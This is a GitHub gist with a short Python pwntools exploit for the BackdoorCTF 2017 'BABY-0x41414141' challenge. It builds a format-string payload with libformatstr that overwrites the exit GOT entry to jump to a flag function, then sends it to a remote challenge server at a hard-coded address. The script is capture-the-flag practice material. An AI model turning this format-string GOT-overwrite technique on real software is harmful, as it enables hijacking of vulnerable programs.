-
-
Save rhamaa/2b9546eb46d2ba7adff19f5915533c81 to your computer and use it in GitHub Desktop.
BackdoorCTF 2017 - PWN - BABY-0x41414141
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
from libformatstr import * | |
file = ELF("./32_new") | |
flag = 0x0804870b | |
r = remote("163.172.176.29",9035) | |
r.recvuntil("name?") | |
p = FormatStr() | |
#rop = [file.symbols["system"],0x80488e0] | |
p[file.got["exit"]] = flag #rop | |
pld = p.payload(10,0) | |
r.sendline(pld) | |
print r.recvall() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment